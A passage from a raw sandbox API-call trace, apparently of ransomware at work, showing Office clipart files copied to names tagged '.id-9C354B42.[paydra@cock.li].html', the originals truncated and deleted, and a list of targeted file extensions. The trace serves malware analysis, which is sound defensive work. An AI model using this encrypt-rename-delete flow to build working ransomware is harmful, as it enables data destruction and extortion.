(in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0053.946] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.946] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.946] SetEndOfFile (hFile=0x210) returned 1 [0053.946] CloseHandle (hObject=0x210) returned 1 [0053.946] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.946] SetEndOfFile (hFile=0x214) returned 1 [0053.947] CloseHandle (hObject=0x214) returned 1 [0053.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0053.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.948] lstrlenW (lpString=".doc") returned 4 [0053.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.948] lstrlenW (lpString=".docx") returned 5 [0053.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.948] lstrlenW (lpString=".pdf") returned 4 [0053.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.948] lstrlenW (lpString=".xls") returned 4 [0053.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.948] lstrlenW (lpString=".xlsx") returned 5 [0053.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.948] lstrlenW (lpString=".ppt") returned 4 [0053.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.948] lstrlenW (lpString=".zip") returned 4 [0053.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.949] lstrlenW (lpString=".rar") returned 4 [0053.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.949] lstrlenW (lpString=".bz2") returned 4 [0053.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.949] lstrlenW (lpString=".7z") returned 3 [0053.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.949] lstrlenW (lpString=".dbf") returned 4 [0053.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.949] lstrlenW (lpString=".1cd") returned 4 [0053.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0053.949] lstrlenW (lpString=".jpg") returned 4 [0053.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.950] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.950] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.951] GetLastError () returned 0x0 [0053.951] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0053.954] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0053.955] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.955] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.956] SetEndOfFile (hFile=0x210) returned 1 [0053.956] CloseHandle (hObject=0x210) returned 1 [0053.956] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.956] SetEndOfFile (hFile=0x214) returned 1 [0053.957] CloseHandle (hObject=0x214) returned 1 [0053.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0053.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.957] lstrlenW (lpString=".doc") returned 4 [0053.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.957] lstrlenW (lpString=".docx") returned 5 [0053.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.957] lstrlenW (lpString=".pdf") returned 4 [0053.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.957] lstrlenW (lpString=".xls") returned 4 [0053.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.958] lstrlenW (lpString=".xlsx") returned 5 [0053.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.958] lstrlenW (lpString=".ppt") returned 4 [0053.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.958] lstrlenW (lpString=".zip") returned 4 [0053.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.958] lstrlenW (lpString=".rar") returned 4 [0053.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.958] lstrlenW (lpString=".bz2") returned 4 [0053.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.958] lstrlenW (lpString=".7z") returned 3 [0053.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.958] lstrlenW (lpString=".dbf") returned 4 [0053.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.958] lstrlenW (lpString=".1cd") returned 4 [0053.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0053.958] lstrlenW (lpString=".jpg") returned 4 [0053.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.959] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.959] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.959] GetLastError () returned 0x0 [0053.959] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x265a, lpOverlapped=0x0) returned 1 [0053.961] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0053.962] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.962] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.962] SetEndOfFile (hFile=0x210) returned 1 [0053.962] CloseHandle (hObject=0x210) returned 1 [0053.963] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.963] SetEndOfFile (hFile=0x214) returned 1 [0053.963] CloseHandle (hObject=0x214) returned 1 [0053.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.964] lstrlenW (lpString=".doc") returned 4 [0053.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.964] lstrlenW (lpString=".docx") returned 5 [0053.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.964] lstrlenW (lpString=".pdf") returned 4 [0053.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.964] lstrlenW (lpString=".xls") returned 4 [0053.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.964] lstrlenW (lpString=".xlsx") returned 5 [0053.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.964] lstrlenW (lpString=".ppt") returned 4 [0053.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.964] lstrlenW (lpString=".zip") returned 4 [0053.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.964] lstrlenW (lpString=".rar") returned 4 [0053.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.964] lstrlenW (lpString=".bz2") returned 4 [0053.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.964] lstrlenW (lpString=".7z") returned 3 [0053.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.965] lstrlenW (lpString=".dbf") returned 4 [0053.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.965] lstrlenW (lpString=".1cd") returned 4 [0053.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.965] lstrlenW (lpString=".jpg") returned 4 [0053.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.965] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.965] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.965] GetLastError () returned 0x0 [0053.965] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0053.967] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0053.968] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.968] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.968] SetEndOfFile (hFile=0x210) returned 1 [0053.968] CloseHandle (hObject=0x210) returned 1 [0053.969] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.969] SetEndOfFile (hFile=0x214) returned 1 [0053.969] CloseHandle (hObject=0x214) returned 1 [0053.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0053.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.970] lstrlenW (lpString=".doc") returned 4 [0053.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.970] lstrlenW (lpString=".docx") returned 5 [0053.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.970] lstrlenW (lpString=".pdf") returned 4 [0053.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.970] lstrlenW (lpString=".xls") returned 4 [0053.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.970] lstrlenW (lpString=".xlsx") returned 5 [0053.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.970] lstrlenW (lpString=".ppt") returned 4 [0053.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.970] lstrlenW (lpString=".zip") returned 4 [0053.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.970] lstrlenW (lpString=".rar") returned 4 [0053.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.970] lstrlenW (lpString=".bz2") returned 4 [0053.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.971] lstrlenW (lpString=".7z") returned 3 [0053.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.971] lstrlenW (lpString=".dbf") returned 4 [0053.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.971] lstrlenW (lpString=".1cd") returned 4 [0053.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0053.971] lstrlenW (lpString=".jpg") returned 4 [0053.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.971] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1012) returned 1 [0053.971] CloseHandle (hObject=0x214) returned 1 [0053.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0053.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.971] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.971] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.972] GetLastError () returned 0x0 [0053.972] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0053.973] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x400, lpOverlapped=0x0) returned 1 [0053.974] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.974] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.974] SetEndOfFile (hFile=0x210) returned 1 [0053.974] CloseHandle (hObject=0x210) returned 1 [0053.974] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.974] SetEndOfFile (hFile=0x214) returned 1 [0053.975] CloseHandle (hObject=0x214) returned 1 [0053.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0053.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.975] lstrlenW (lpString=".doc") returned 4 [0053.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.975] lstrlenW (lpString=".docx") returned 5 [0053.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.976] lstrlenW (lpString=".pdf") returned 4 [0053.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString=".xls") returned 4 [0053.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.976] lstrlenW (lpString=".xlsx") returned 5 [0053.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.976] lstrlenW (lpString=".ppt") returned 4 [0053.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.976] lstrlenW (lpString=".zip") returned 4 [0053.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.976] lstrlenW (lpString=".rar") returned 4 [0053.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString=".bz2") returned 4 [0053.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString=".7z") returned 3 [0053.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.976] lstrlenW (lpString=".dbf") returned 4 [0053.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.976] lstrlenW (lpString=".1cd") returned 4 [0053.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0053.976] lstrlenW (lpString=".jpg") returned 4 [0053.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.977] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.977] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.977] GetLastError () returned 0x0 [0053.977] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x370, lpOverlapped=0x0) returned 1 [0054.157] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x380, lpOverlapped=0x0) returned 1 [0054.158] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.158] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.158] SetEndOfFile (hFile=0x210) returned 1 [0054.914] CloseHandle (hObject=0x210) returned 1 [0055.279] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.279] SetEndOfFile (hFile=0x214) returned 1 [0055.430] CloseHandle (hObject=0x214) returned 1 [0055.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0055.462] DeleteFileW (lpFileName="C:\\Program 